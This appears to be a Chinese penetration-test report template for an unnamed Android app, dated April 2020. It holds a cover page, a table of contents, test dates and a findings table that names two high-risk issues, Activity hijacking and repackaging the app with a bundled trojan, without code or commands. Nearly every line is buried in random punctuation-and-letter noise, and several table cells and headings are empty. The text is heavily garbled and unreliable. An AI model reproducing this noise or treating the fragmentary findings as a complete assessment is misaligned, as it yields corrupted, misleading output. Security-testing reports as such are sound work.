o& @- A# G6 f, J$ J( p. r) ~- S3 x% ]
( Q; }: {$ J' p0 l
( T9 j- a; ~9 A1 j1 K; X
! E- j. Q! ]* ?& p Y0 g3 ]" Y$ k# A# D( U3 a
+ b d* T" i3 n9 F; N
s! w! v8 L: S- Q- [
, y/ ?2 U% |. B$ `" w/ M. F
, \: t, ?. _7 K# j3 c9 g; R
0 [" T" L! x1 W$ q# n
& m, n5 x+ }7 b: N6 \ 文档编号:
& W; S) y7 N/ R8 C( f6 {5 d/ l9 x, v- }; a
% h% A& f1 C9 Z! y; k6 u; g. |! \' m
m# f9 ]$ ]2 s& |3 `* P1 V7 w" A. P+ b
9 r, n3 E! r+ t
: s4 ]- ^% m& A% C& I9 ?
: A2 F n; B4 i. D& a/ N% P) A, H5 s0 v7 C; Q% l' q9 {0 E
8 H$ Y* ]$ b+ W' q8 _- D
( @# q. l J. Y/ F
% t: A, u. v- @* R; F3 Y" L/ M2 j, {
3 ]: K2 e+ _7 @. c8 h5 X( I
# |7 N `$ E4 `$ ]
! E& E% g9 q9 {5 d
8 s# i" l/ s& C7 ?8 ~
7 m, S) O; N: U2 N! p
3 b; Z8 F( d0 l" z& b1 m. {2 M6 G8 M
$ I, u, W6 H& o# T5 E- l
# }* K+ R" y8 O3 Y3 L1 b; [
7 N6 b& N! H* Q$ [3 Q( Q" N
; p7 r3 ]/ `) b e- N" \ 7 |1 m; O2 d2 O/ O1 B0 c
: ]+ [" I8 ^6 {2 }1 Q
; t* E0 [5 w, b" W8 H/ ~' U
2 S5 l7 w# r! F3 s% L
- H0 J: H: E# G! n$ u% r; o5 Z7 u3 [# F6 x
, V6 t6 I1 Z$ Q2 o% [5 U
1 h! N6 V' T5 U6 S: p2 Q
# G8 @% v. N) `( |
. o4 ?# u8 Y; d8 V
% y' l6 C- b, n# o
+ N3 {" v% C( Q3 h5 ^9 |
某某某APP渗透测试
; [& z B! A6 R) L! S( e% u3 N8 U' {- f9 @: B, h: k4 u
2 V* B0 G* ^0 {% `
! ^/ X* g5 i7 V+ f6 h. E8 a* t! `
# q: ~) C9 |" X. c) _: R# z
* {6 @/ S$ W3 u+ p
, ^/ u- ]* O; L" l7 E
) i$ O8 G3 p0 J+ e3 ^. a
4 l8 x( b1 d8 k# Q* g" s8 N
' t7 `! n7 i1 j: T B + Q+ ~/ L/ K. I* A/ m7 c
' N0 B. O) \/ F U9 w . j8 f5 P4 _# E/ q
, f2 s1 `% ?, a3 w) |
% A5 `$ n2 p* ?+ Y, x
9 \: Y4 U8 q8 a8 A; U& G3 ~ t
% t& j8 L9 f) @! ]1 y
2 }( l% M# W1 [' o% x; j+ L
4 @0 y4 a3 y7 H6 A! X
% w8 x) [' P* s" e
* X8 U) ~2 [. @1 u
' d/ d: D: c) N' c1 e K4 y2 A2 z 8 t* J. W: @( p& P% Q0 O
/ K- R2 C2 u( u* N. _
: Q1 H& U0 i8 H) U' W, p' V
' x# S& N' x) |' J/ b" U4 O
2 V: L/ e; G2 ~* W5 x) _- F5 u. G5 V
- c/ d( ^. C; c! |! \- E
# \* i2 \ C$ R/ k! N6 S; p& w' }9 F6 P+ `9 c( l0 d
技 术 报 告
; ^" W9 ?0 P5 X0 M2 }5 ~
# R. H4 Z; e# W! Q/ g; F
8 j# b0 f1 _& R) e
& X0 T8 n4 @0 ~, \; Z) ~" ^
% p& l& u' E2 T7 i
a) i) i* J5 t" p , N$ A% Q+ r+ p3 C3 s8 w8 X
$ h. H7 b8 L' `* D( ^) n
1 K, {- @6 ^6 N' R- z1 j# M
4 ?8 v, o3 H! o& `
8 q, Y+ _& v5 G4 r, z: k L c2 Y" J1 Y
4 Y8 L( W1 _. u$ R. {5 ~; b
& m. V# Q! V/ R
. S& d$ g# N0 C$ {; R* d( a5 L* k" l; l. p G, R
, Y1 [" R( M2 F8 q; R" \4 Q! p8 e5 j6 Z+ S1 e( z
9 _/ v# k( @ ^% m. _6 P6 l9 h8 q/ P
4 g$ F1 N& I q
2 x8 J& J3 y t7 v+ s# N# o
/ F2 n( T9 {( g6 I1 [. n `3 l2 J. f9 q- p, @: n5 ~1 W! K
f1 E9 ~1 r, P( X( B, |
/ q( C9 W* l( L" ^
9 G7 e# e- }) t
3 q( J; ]6 C( _& d" v2 N
, W: W* f' B/ p( @+ q( t3 D. _2 Q( R( M2 c/ q5 Y
' T7 Z8 w& w% Z$ W' J @; J
! H1 [: P+ `- g- s% P+ R
: M# A" P+ j$ K" o
9 |3 J7 c: c+ T+ Y2 g; D# g3 u
; _6 w3 K% Y6 h5 u3 }; y3 [' o5 w1 A" y' W
z- c$ B Z8 F1 `( o6 y; ? x! c0 m" E
( L9 q: g& W* n
9 c- y9 h) b/ V @ @/ C
# N; I, l7 i- }4 y
- X. b; M8 p. v9 p! a+ l % i0 ^: B6 K: ]
* T( g* |5 o# ~/ F' Y3 e
- Y3 L( P2 f/ h+ G
& K+ n! C0 H0 j6 O/ w$ t* Z7 n
+ s$ u' \; T8 }4 ~" a) R$ \6 {- E) N. O& o
1 Q$ u. G& }: H8 q& k. H" Y% B
7 D ~' \: L3 F7 C/ S
5 k. O) z6 z3 ~2 w! ?6 y. B% K
7 a& l0 D. x; ~8 L) ?: S5 U3 ?! q3 m. \2 E3 l' a( _* S7 q1 {& V
% O* y% D( w% ~2 D
! D0 z" ~) j. R3 t {
" q; j1 o8 ?) T1 M( ?5 Z
2 J+ i+ r7 f' l( u7 Z a " f6 h8 t) b, C4 ?) C: m( B
( r: [1 I5 U8 V5 q" f. O0 K3 r : _: g' {, j! ~1 L4 s
7 v7 A- _! G5 _ ]7 _
$ |# i1 R; ~* T
$ `- ^- R# v2 O 2 \$ B5 }) K, ~' b" l8 l- Y/ g
* x# |/ L% [4 `4 @ @# f& F
# t+ N3 U7 E7 X2 t
- V D M5 i( y' ?, |+ Q) n
; i: o- z, d2 q T7 S5 [% e* r% A: d5 I# U' {5 e& G8 g
0 K9 [1 Q4 b) n" s9 y3 U
# n* R! j5 |8 T
) N+ n" I" s% j6 c; M* h
. T/ M2 M+ J: Q. ?5 s* X* d- e+ A
! ]: Z* U: ]0 @8 Y3 N# b* y
; v: @- x3 O. E+ r' b 2 o2 A1 ?' N: M$ d* a8 ?+ h( B
+ ?1 Q) s0 j; _; Z4 \) v # ^( D& k! X2 S" Z: }/ w' x' e, I$ P
$ d3 f$ Y1 K; k- M7 W
5 L3 @9 A n6 g' J+ V$ f. [ C
2 \* r" [$ i' v m5 Q& I% G5 @. G$ `( S
+ f' x- k& V9 Y( j* B; R7 }' R! Q
& J7 ?8 m# f7 {( v
3 d# i) g, U; H, a- I+ I6 R
4 \; q! V( q' z. ^$ P* r
8 F8 M8 ^2 \8 i
5 v: R* R$ R5 p/ C2 P! J, K 2 L3 H$ d% ~6 y4 ~+ Y+ g: J) m1 e5 ~
6 G! a8 P9 R' s; t' Y
. ~1 k" g2 d! \/ |( F
$ ?: ~+ x+ b( u" c, p9 f' y
7 B, p \; c( V5 A9 A( Y8 E
$ U4 w$ j! ?# {! U" U: d 6 q6 u7 V' V( q; h
0 R: C3 W: _+ H! O
$ q5 ^0 H# C* j$ X$ V, M7 c0 m/ M( p6 m% e$ i7 o
0 b* O+ r" x$ [7 A$ H' j5 G
; z9 v2 a% {2 T4 z9 X( ]
! A3 l" e$ Z5 i; u7 ]# ]; h
, z3 W+ C7 z% G+ _; C . B! ]; L9 y+ I' @
% z4 V! s, [# O* \0 U
: U, {3 k8 F" T Y7 C1 a; u% [
. w4 e) m' E5 Y. A+ q$ z# R
8 b' y# x0 Y5 U' ?
3 u! a* C( E0 s2 r
, u" }: E9 w% i b* z0 O: h. M6 f) g/ ^% m' A* f
' S' ]9 N! P" ~& y0 M( J" X! _& t2 J- C
0 ? ^0 `8 f8 e2 A0 X$ [
$ L% f6 Y* K7 _/ }. B. M7 ~: @ 二〇二〇年 - @& s- N2 j# z( J* l) f
( S! i' P, p; [8 g8 r
$ I+ P$ U7 x& J4 e" o# }& K
0 G( a! k( `# E
% a) N* c/ y) q2 Y' a, g9 x
& ~4 H# }$ x9 g8 o
# x' w3 p% z# e$ j/ r! p. n
& ^( g0 A$ s4 p) o% R 9 F$ a% L+ S$ i) w/ ?
: o: ^( i& N8 q- @; Q( C
1 D! Q( H8 G& T& R
+ f+ F+ \# g [" o1 u6 m
2 {) S! b8 p( X- H8 U H7 I( }. H& H
" X6 ?. Z! d/ x3 X+ V4 {. D
% _5 H! \5 x5 r2 D* g+ l
* o$ Y0 t/ ^! }' {. v w/ j, g
! |- T I4 S: k8 |& g. j1 l* N) {+ n% @6 }# ]# ?" j
5 C/ Q' q. o/ h8 T! J$ x& v# o/ V& b! D8 k" X1 [ j) A1 R
# a+ T" _. f. a* v5 {' b/ K8 T
4 P* u- O$ e& v o) g, J/ B
目 录
. `2 I$ t4 F0 k9 Z# y/ R p" M P
7 U% k4 \. S9 q% j, N# D( z, v0 Z
8 @0 Z5 F! v8 [9 U/ M
( l5 H( k- I/ t. L2 c+ v5 |
, p# _5 E+ x9 L8 n) t$ c! S5 }0 \( Q8 ]4 n
9 E0 A0 P' r* Q5 c8 @/ O. e
# l' E" j$ J6 b, d# K 3 u* R ]- a0 }- H6 h' k
2 _: ]4 R3 X+ @( W4 g4 i8 B9 i9 m
& n7 W+ |9 r, g) I% Y
* Q- j$ ^) [0 @1 m* h ' Y+ D% ?, _. h5 A, e" d
5 D6 S5 J6 V! r$ M: A. }* c) g
1 概述... 3
4 {" s6 y8 i4 d9 w2 |' J( q1 y1 g) f2 j$ }9 \2 Y$ x1 b
u' R# E6 ~4 t; s
# m v, e8 x! P) d/ T1 N
3 a' T: F' C; R% R4 P& C f8 W7 O. X
# X+ B" c- w6 R. s, d 1.2测试时间... 3 R; A5 c0 c/ l. w
* Y ?' O$ x3 Y! d7 I
[7 U3 k. \1 M* f t; J, _
' P1 y% B% R+ a" |/ J. y* [9 ^ P& }, _! R
# | _. `9 Z; B% U) G2 ^& v. U2 {
! M9 _6 ?& Z) \- r8 [) K 1.3测试对象... 3 & U, ]- p" l. d) `! p. C8 v3 E
. v- a3 r, @& J: S+ F% B& B
2 P3 s4 g7 {: h6 A4 S
7 o9 j% L0 f* M, s4 p5 J8 \
/ L& E7 l- G# ^+ y0 c
Y9 ~2 X k4 a8 H4 n4 e" p9 J 1.4测试结果... 3
$ I# p0 K8 B1 j ^
4 ~' ^4 N- T) [1 {" Z/ W
+ S! t$ A4 c6 c: ]4 n5 C8 V6 o" B6 {1 V) C" G) Y; N# a1 d
4 f1 d" T5 m2 i% x, l
1 K2 N4 q; `# L9 s- v 2 检测结果... 4 7 J$ u' \* n3 l' H) j9 a# s! e
6 q4 T0 H* J! Y; i8 ]8 f
: |2 p5 [9 Q# n, W, F" p5 k
9 A* C9 v( L4 d) x8 Z/ p1 g% z* }
% {% _& X( |& Z0 O
4 H( `% p( Q6 e' m 2.1 某某某... 4
: \. p2 S9 k8 ^" D5 V) R- P# x: y& Q0 J% x! R
! I2 w3 k3 _; r, D- g
4 K% @( }6 D6 t ( m' [) w: Z, h7 ^
, @% \) ?( I& i1 d# d 2.1.1检测目标... 4 2 ^% [) ?+ Y# @, U+ Y& e- X& s
( J5 g( G6 l# u# G) Y# l
0 M/ M; _4 X+ s) R/ w
# N+ x, B/ t d& W/ ~" K 3 R: d! }& I0 \" f7 y% u
( M" W- W) G' U4 Y/ u 2.1.2检测结果... 4 4 Q1 `% q# X4 h9 s
. F5 R1 ~/ p7 O5 @/ J- c% u
, c1 B' o5 z7 Y; U$ u7 |
% B% s3 |6 p& u F3 ^' `
& `: d' @( O- E2 |8 U8 L$ r6 M1 S. Y
2.1.2.1. 4 # [! ?4 j) I/ C7 A, r
+ ~) M' ~6 |2 W
9 j0 K0 \( K6 _; c/ w1 K; O, C5 y4 K2 {/ e0 J1 i+ a
) F+ X) H- ~/ o/ e5 c' c' }
! x, O/ A6 H- ~+ e 2.1.2.2. 6 ' \$ j0 K! e4 x: k1 Z
0 D- t2 P& Q/ h ^+ z. l
6 c5 y' }* F1 I- l0 A9 O0 a: }0 V
) O7 {! D4 J% L6 o" D/ H / {5 ]. @1 s, d6 b/ f C
2 H# {$ w, s) s
; q3 r; k1 S3 ?! I3 W
, I; N* h9 ^8 |% d% d& A3 a4 G
4 s- K0 q2 F6 H0 H3 M$ f6 L
7 Q% j# D4 F2 m- l7 e# Q: i: t# x0 i2 K# s: ~& j
2 c$ ]9 v; ?& d" K
! |5 c+ Y1 y7 Y) ^, b: N- F2 i: f6 G9 S, s- J% E: @
) e8 H9 d* h0 u* T4 L% Z
: I% ~" a+ Z: f8 }3 l& T
# ~1 m3 c) V c0 u( @3 L2 x
+ @0 v4 j6 k5 n- j. K 3 q. v2 ]# ?: ]: ~' ?" S
1 L8 A2 x) ^- v8 C/ E! C' ]0 z
1 概述 6 K! k# c& h8 G+ e# S1 V Z
" h; \0 h! O0 \ i: `/ z
" ]& I4 h$ l, ]3 L+ F
) j! _, K- {! M1 \( j. ?: ? # D" J' {1 p" n* i
* P P: @/ Y! I- [: p$ C
1.2测试时间
9 \- M3 f8 r2 {( Q& R- e5 Y: V' u' ^% C' R; u/ E
8 o3 M9 }2 H+ _5 T. \) A! c" Y' k
% \; @9 t1 L2 D# I4 e, ~6 \( g7 V
5 A- N7 T$ D& c7 p- H" X) ]! v: F3 q: L2 I* t. x4 n+ D4 a# p1 J
" w' n' |& ^4 [$ U; B* t1 Y% ~
2 `+ s1 U( U7 H6 q$ x# u9 X ) i) a, _( g, X6 ^2 W' Y7 G
/ B e7 ]9 y u: o7 ^$ D2 T* X
|
/ R5 ^# a: P$ l6 |# {$ ?' a, k Y8 A4 [' s0 [
, a. X( ?$ ~+ r; K, ^
, z" c% o. H7 b! d) w
渗透测试时间 1 u1 Y# l: P( J2 T d
4 d( t5 y3 y0 k" }; v * J# y* e5 f2 t' z0 G! A6 W% j) T
6 c" R+ I9 I8 Z* @" ]1 V! [
| # k" \7 `3 p6 L
; ^- L9 x4 K1 B3 z) H$ k' f
# c$ m" g: m7 C( F2 y) @
, x; p+ t2 s1 ~# g) l
) Y4 u: S: u( W% ~$ J8 R6 e/ i' d9 J. n0 o
| 2 c5 i) g. ^( g: K G% L7 ?6 a
7 }/ \$ \) Z5 o# G( F Q
! f* {! O. p- N
8 P. Y, R# ]; L" a+ F; Y 起始时间 " C) k# S% f, Y7 X# I
" I0 e* b4 E: K6 q8 H$ M) G - o6 I `; U% l9 t) a8 \8 }
! _% w! _2 m7 m9 H2 w# @% u
| # |& w$ D& E( T
. V/ K2 B8 X5 ], J) E& L & a9 X( G" m1 s" E3 y
) \! N7 I# ]( V$ X- T9 v ) }" f$ G8 r0 k0 ~$ T
% M! p. V: W* K& Z
2020年4月6日 3 E# J5 g% _+ H1 p
* V: j; C5 ]% q. p% T" D: F6 X- s
$ c' X3 i2 W4 r& }0 j8 P+ G! }8 s# Q6 E7 N" N# T8 l
| : r% B: F/ k. O5 \
* q& e7 A. W9 w" m
: [- c6 y0 G2 p" x& c2 q5 d# h5 ~
6 ]5 B; z& `2 F- ]- E! T" K i
# w, f& n1 Y6 k
}2 N4 {/ J9 K- f) r* h) j. k
| 2 N$ m1 J* A+ o6 W, @
. I7 g8 M# a7 g& o7 X
! H! s2 t N) g0 `# e8 W2 R) a* Y e! e! M7 E
结束时间
" d" e9 e7 U* N: I6 N- s+ }
' {9 U# L B2 W* K8 B' J
' x" r$ w3 t6 R6 p2 G* P
. h) b( y3 j5 n3 m- W6 g: C |
) B! [2 u; a) k# i/ }
7 x, T) d' s- ] ; m. O+ u5 H {+ o
% ~3 a, x% D5 G
3 L- a3 R: f9 Y) k, ~( I
' I, l# h% Q( H' N& P 2020年4月9日 - V3 Y# t/ z* ~; c8 ?, d5 }# q
- I9 x3 q. E, p/ t3 M
+ B$ Q9 \0 E% j* |# P; v5 N$ G4 I. p" W
| 3 x# E( M0 g- X+ O# o
( z' G) R6 ~" W5 _! C0 V
% f/ K+ L* I: M" W5 ~
, U9 C+ X, K5 D* C6 [" Z# d
# p# ~( m% f! O" G" ^4 u& W( P$ c2 g. G- P8 @5 C" z0 d4 E5 `
5 }2 f B2 ^1 j
8 g% V+ m" T- m. ^' _. D- A
" I6 x7 Q+ ?9 ]7 v9 {- Z! P9 C+ l' j5 X7 e" e& u: z8 g
1.3测试对象 : S$ R$ s9 k2 T% K* L7 A9 a- A
$ W P$ X1 V1 m9 A/ V
8 P2 f. I2 |% l( E. ^
1 E5 g9 h c, F# N
! b5 p- E& \, R' X: i% R
# t: Q/ U! c1 U2 g& ]( K 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: I$ U' n5 o6 Y) ]( A/ B/ n+ i
& G0 U5 H' v$ o! L, {
% ?' k$ R1 G Y6 q2 C
2 @2 s; o. s1 E
6 }. ?1 l; Z" k6 Q. ?
z# q5 g8 r* ~5 X 表1-1 检测对象 5 O* y \4 p, f1 C$ C: G+ O' [
" H# u/ P% a0 O9 U( ^
1 U' c: c( u8 u9 M2 l
/ s# a0 u, C/ \8 ~, m
2 M; o3 ?) [5 `( `% M
" y. g4 W7 F0 q1 M$ w: F1 c+ X + ], Z( } P3 ~
) E: R3 I) j1 W L- O0 }9 P
& S. G3 y3 z7 j& j/ r: Q0 ]' b v+ t" F; ~
|
, z- x; Y# f T0 K- J8 x, Z* `4 t7 F, n5 C) g4 x
8 X/ w' o' x: Y9 p, \7 X+ X
# \& ?0 c7 }+ L Z3 ?7 Z: o
序号
* A( e* N( F& ]) `# V/ ^/ n& S8 e& z
; }1 `6 g0 O1 ]5 |8 i0 Y0 Y j& E" t/ h. A. V+ O+ d7 C$ Z
| H6 b* Z. O2 _' P" N
/ s1 C. S9 [0 a2 {4 E+ V9 M 6 I6 u9 Y5 L/ I$ A& D! Z9 N, T
$ s- S, y( S/ H* _' ^
- [% {, i* o% e' M5 Y! k8 f$ N2 F5 G$ h. _3 j+ Z8 D) e
测试对象
5 B3 B" A! g: J: i" U
" |( ~5 x/ B9 Y; \
. D+ r6 c3 G- d- B# y& _& S4 h! M1 H3 h" X. K" N7 \
|
6 E# q0 H7 _1 H$ H6 d' q3 ]- N3 ?; \1 U/ y+ K
% f4 U7 X* H5 @. v( X( t: u. c7 S- R
4 A z( s7 s5 a: s
7 _1 t' G. c+ y7 U& q
测试地址 , R$ H! m. F M3 c0 ?* }1 w
1 k; n5 F- v6 p& W% X( h1 ]; N ) w. }/ ` F- F5 h
9 [8 U1 d) D# D
|
k1 s* `8 E. {8 b
0 E( w8 z6 l8 D/ ~( }! T ; Z, b9 u( T! ]$ {; L
1 o. W y8 `; c
9 u2 J3 f% k; }1 G2 B1 v& i- P& `; Z; B: V5 d
安全漏洞 , ^' V6 F' j$ W0 Z" B
^ s6 |3 X6 o" U$ q w4 x
; s0 ~7 _8 a4 z s$ J8 `) G! C* i2 G- C3 [
|
5 Q* N; c: s6 |) ?3 K' A
0 o. R- B- s5 k- R: c' z9 x
$ E( M+ l' I$ ?8 z* A1 v* @
+ j5 Q' N: z: ? & V) ~. y! z) S1 S/ `
3 |. ~5 x" X: j$ n5 }4 [
|
& h4 O( D, e- Y' q" Q0 \7 Q5 K9 l* r: |' W0 p
' o7 F" A, d* ~8 r
8 @2 n; \9 S: u& m2 a: E 1
, [: M; t9 b/ ]( R* K( A, A1 c6 D1 e
- H$ R2 H. x$ B, k, n+ G
5 p: U, w: N1 @
| 1 k; ~- }2 V8 P* V2 K
9 E) D2 ^) Y9 r
% m" j1 c. R' i, ~* ?' _- K3 @
( l1 E) @/ L# o3 g) X0 x 2 v6 M( [6 @% q- n% a4 @/ z
9 T' u8 ^+ D/ o" w 某某某安卓APP # L6 _) d9 M* p+ a+ {- W3 O- h
9 C( x' X' I& M, j' B
" A7 c7 l: D2 N/ W' V* t0 o
6 v( O" p6 t2 M# c7 O |
6 a9 |! y" ^9 `! @' D
+ S4 Z% X+ ?! v0 X# u+ ~ 6 G3 Z7 E3 X8 R- e' e
) j0 F6 X, P8 x/ C; M 7 N2 ?, m0 F+ p, `' E. s, x- ~
, a& r9 L( b3 v& [) r 7 i) Z9 Z0 L1 ]% t7 D# B a
/ q1 X4 c" m; \$ y5 g6 d* L
$ O. F! g- S4 z1 A& r
0 Y% |) I* Y }* ? |
8 q7 R1 |" h+ f! e6 C1 y# g" O( U l4 w* \) a6 n+ |( O+ a8 _! }
: _$ `$ t2 z& V5 r
% W: L8 M5 n: Q' C/ n( N5 ~
! f$ w0 Y% d3 K$ c' u
+ z) j+ Z5 U" t# q- z3 N, | 2
( f' O0 J6 J' U M: u; `( ]0 i w
7 A, J! T# D6 u9 v5 u) [! f # J, f$ T5 |9 q. @" w0 a
2 s- d, [1 N4 ]9 ?; i; k0 A1 d/ n5 X
|
~4 N4 ?$ t4 ]- {8 R0 m0 F. J1 n0 K5 o' ]& I4 o
# }# V4 _; J9 i6 ^7 c% B1 X& `! S W- R
) I7 F# i+ |; n% n5 v
/ I D3 X7 R3 X& @% S- k
/ R+ q2 X. \5 P8 G( I5 `+ m, V. ]- w. D3 u* z$ M
$ L+ j7 R, W: P9 I- _! d( U
( r2 ~9 }% a' V7 M7 P: N( w$ Q
1.4测试结果
5 i- z- N' |2 |0 _: |; ]
) }1 F( @1 o+ f- E2 _& X' u
+ }( Z5 u5 C1 O$ k: J6 N5 t
+ t0 j( Z6 [. a/ K+ g8 @
! v( k+ ?. g3 H( ]' S% H1 K6 J- G9 T/ j% X
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 6 v, L, w1 a; w4 G- o
" E" w4 C6 f, b! {0 ]0 [
: K0 v5 U- i- j( j# L- U: M, u7 K7 C. X M
$ @4 _! s) g; J( D2 f( `- @
5 U8 e# V, [6 N ~" T
x' Q) v! c: H5 Y( @; ?' M: i
7 C3 P/ Z/ f% H, t9 u/ t" x4 ~
, S( d8 H0 Q( P: Z! m2 z" u6 b, z
0 X6 G9 E! Y6 l) Z6 {! i
7 ]) W# V8 \5 _$ v
/ `3 [# Z' }" `# Z; y
1 |6 D, }# H) h$ _1 }
+ l5 q2 R2 r( W+ E) h l0 W
5 Q% j4 A% W6 r+ o, H. O2 z' }7 G# v3 w2 c
6 p! x8 u' u- _% y# [- W% ], e; {& H: U% H0 ?; J: w4 o
| $ V1 w4 S N, [) B) G1 d$ P
4 S* z. U0 a ]* e9 ?
( g* `& o( B. E- D% ]* a
% ]8 i3 O" V/ `! ^ c; v 序号
( O9 s- J! }) @! Y/ n5 h# ~2 S, c; B' M% y( f8 s. ?
# |( |7 t' i% G: k& z% a
; v+ n5 D, m# J# K |
! l& q& k% T5 S7 c3 m
, K/ \/ Q) V* ] Y3 g6 V( b
q. [; e3 ]( C) |9 `8 i
4 j' F6 C1 W+ v) Y* X' u : X7 g8 s! E" l, y* s0 p M
: r3 x$ z, c; t' O* }
系统名称 , D, Q& f" ?0 [
4 I E: a- d. y) r7 a7 M3 O
6 e( g) F: V) L. ^- ~4 T7 A$ G u, y5 v! y# j7 n1 h
|
. c2 a( o0 [9 K; j3 H
W5 H" d9 o4 r# A* e/ S 3 Q5 Z3 o ^ B$ S, N" d
. ]: B+ G) w6 P6 ^ * z' ]3 E1 P3 l; V' ?% m
8 T. J" i( ]% _; S+ b8 k
漏洞名称 4 P$ Y, h- Z0 V, y# y- @
) F! k- ~* a1 x2 N- F3 X : p% t/ r4 u, }
/ [# @3 r3 t j( l- N c- y1 a- [) ?
| 7 C1 C) F6 k: ~; G. X6 }$ G0 `
0 t5 M, d9 N% o
1 G% s" J) x+ S2 @) o" N/ O, A
& G q" @! F X* T5 m1 t; |2 | {* Y8 ]5 ?! r x' }: ]
2 M5 S! j- T, x* m3 C 漏洞危害 4 |: R) E, ?. m+ P, A; ?! _' A
5 T. _1 ^- F7 Q( q Y, y* x* F \
' p4 s2 D* e9 n( m: W3 Q
) r& G" f+ v, M v7 I4 t! x/ U |
9 Z1 ^$ T ] f, y _ w
$ @* u" U5 \* R, R7 \; D ( O8 r+ b, x1 L4 l, S) F, u
/ I2 l. l: g8 i' k7 C! s ' [. |' {$ U# Z5 w( i( y
& ~- Z; h* @9 J& a' O 修复结果 / o K4 |7 E+ ?9 z
9 T7 X4 E1 c( D+ W) j
; _. N; A9 b6 K: a8 v7 f5 r- `/ o' \! M/ a5 H
|
! p v; ]9 i: B3 m' A) j$ E7 r/ j$ v
9 z3 B+ f7 _# l+ X7 x1 M! }
* q- E; ?& j/ W* @
" k" m1 k9 N5 l) y# C& `* ^0 C # C6 ?+ G0 W3 a o9 j4 n4 _
, u' B" J" l! T# ? |
+ G: f( G8 f$ e. p; D( G# d! t9 m; ^+ d. ]3 b4 N0 Q9 {3 \
( o1 w4 B4 I% m# q* f: A0 R1 R
+ {0 b# k( r) k, ?' l 1 , p" A3 E$ }- {8 q- d" R: N
9 {' b2 M) y4 `- S$ z* A/ H7 s- U
" W1 w+ Q9 h7 k" k# k' w
* X3 G8 ?0 ?- M5 u! u# E | 5 D8 z* B1 g5 a6 l6 L+ Z
/ J3 Z' W r U J
7 [/ u, r! y: X4 N
% h* H4 _, }, k
. j- X9 [1 A [4 [
7 Z' n' N5 c+ ?" B3 L# g& r 某某某某某某APP , F; n' X4 E5 A T
+ ~: T+ p+ B% @% g. m
0 E! ^) t6 Q5 r3 g% h
( {6 G) ?: g, Y* a& q | 8 m; C. M5 f- j6 w
) ]2 v+ k% H/ o8 I ! A J3 b1 `( k- C8 T6 S
9 B$ N1 P, h& \7 R. a' W
/ `2 f% |! v: o9 d( k
" M' v" o" K1 s4 t/ w x8 F Activity 劫持
- ^8 k- n% Z+ i+ i+ E! }; `/ U- y2 s5 g/ ~0 E l* F
: L$ k+ ~' l6 h3 J7 s& R9 o1 \4 ?% Q! {! o( W5 b
& S! E; D# C& j2 F; m# c
7 G& N. D$ B) J/ d4 T1 l
* Q( t& I( i& c8 `! B) q
9 e+ s9 ?7 t0 @- R( C/ {" ` 0 \: a- k8 L; w8 s
; c/ A8 o% r$ v' L$ m |
- Z1 W* D: K8 V5 ~; j* W3 I' ]2 k; J! ~
. L9 e( X$ q% `( y+ P. k
" e% Q9 r" x. Y6 @- G& u
+ W1 M" O) L8 k# v7 d+ j. \' v: @0 ]" J
高 $ M! b2 L6 n C$ H, c
, j5 F4 O; x! M# E0 X; v
4 A- \6 h/ T" M% J+ f7 K+ Y$ i0 ~9 R* X# u6 z8 ?
| " |4 p1 v) |2 r2 X$ k
t+ `6 X6 G; r r! p; ^" g
2 C( @8 z$ |& o8 y' i
. @+ {* j, E9 v. ~
# A- V' B' V( O7 G4 M s$ {. y7 U% f& j3 q/ u
8 N! Y4 D( t5 f: }/ S; }
6 ]0 E8 x) C5 i. H, X* k
, C3 {% B( J0 u* c3 d% F) M
5 F' B) V) {% ]% d6 B D
| 9 c3 E! I! r1 G% y9 I6 L, C" l
4 S, J# H8 i6 m$ K l8 W; m
+ a- \) o0 K6 B5 ]* R& q
6 z" @( _. D; N% T; A, C! Y& A" b
+ y! \$ f1 R0 D& s3 i7 B' b$ o7 h2 g; S9 f, n* }* V4 d
|
& A- Q& ?9 G0 h, {, B
. u+ D- Q) q7 j7 D, q7 T o 1 @' \7 S( r! B8 E) o
8 M9 M! b! _1 T* y7 S4 r$ d 2 ( v! j1 c. I, k" l, h1 k4 Y
# t1 e$ v$ @* ~, |
) z4 K }& [: S. F2 p& p
- C9 W" w# I5 A& C | ! j- S& |, C! j& z+ p7 k
/ B8 k4 C8 W+ \7 j$ N
! A* Y D+ U b) o6 F: \" A
, ]7 {' ?! f/ X+ m
6 t; A* Y5 ^; t5 z# T4 ~+ U7 n7 M2 v f# Z" [0 L6 X' W. `9 K A
某某某某某某APP
5 w% X4 U7 Z, X9 j; C2 J
+ ~7 p- v2 v l0 I & `4 \+ Y: }; @5 K
2 b$ W7 M0 X+ y
| 8 e2 d! ?" S" V2 [! L2 d
5 u# H9 o' r9 H: `& n5 p. p& C' ]" L 7 K n- G( j, R6 x
/ ^. e7 O6 [2 q8 b% q+ s
; P s. `1 S3 z, O0 X
, ~% G! C9 _3 ]1 U* X
反编译二次打包捆绑木马、篡改APP代码
# R" E0 f- b; _* f) K% U
& p( Y, o3 x% H4 F& {( Z# j * Y' k$ {" v1 w0 z3 t1 I1 ^- Q
& ^, X, B, l9 I0 R7 X0 [+ E* E7 U
|
6 V7 B4 X! V+ B) C
6 I0 A+ D8 T% ?* I
6 r) E# l& m4 C+ w) D
4 o3 r4 m2 a: n , G- p$ Z; r; a9 S `% J
3 W1 M6 A) j* |0 [# h' K9 X3 J0 X
高
1 @( E7 L0 Z1 C& R9 @! ^- y3 w% g J' a7 D
I% X2 |. @1 q* q/ {1 T& Y( X0 k, _7 M8 T7 e$ X/ j' f7 F$ ?
| 2 J4 `% K4 L8 @2 V# y0 P% z v. L C/ k
+ O! A" z- V# k, x
, {6 l& X/ |/ s5 ~1 \ \% @% X( ~8 r1 t( f- ~* c( b
- Q; {- C8 {4 `" P
" }7 L3 C5 M; b; s0 k, ]
/ h7 \4 z1 [, @" [* P7 T) Y
) f8 U$ Y& C; x) r
2 { L* A/ _5 h! u8 d7 ~
. Z! o2 M+ H5 ? | 8 V! D& I$ I7 ~: M J; U
" y5 Y4 Y; y' {! @. K0 v. j% c
% ?; P6 l/ d5 Q# O9 x
! P5 S, L7 N3 M ^% d3 `5 Q / f' u& j# r2 Z6 G
* X t6 ? e% b- ]1 c
2 P t; `2 _5 m+ d9 L
: ?: {' w6 T; Z4 ]7 v+ _ 0 D4 m3 C2 j% M
& X! c7 r, W0 l
8 e4 j, A9 l; ^7 ^0 D, ?, F9 Y
) b+ n- B9 d- n/ s8 u
% ?; d( ?& I& }# N( }( F
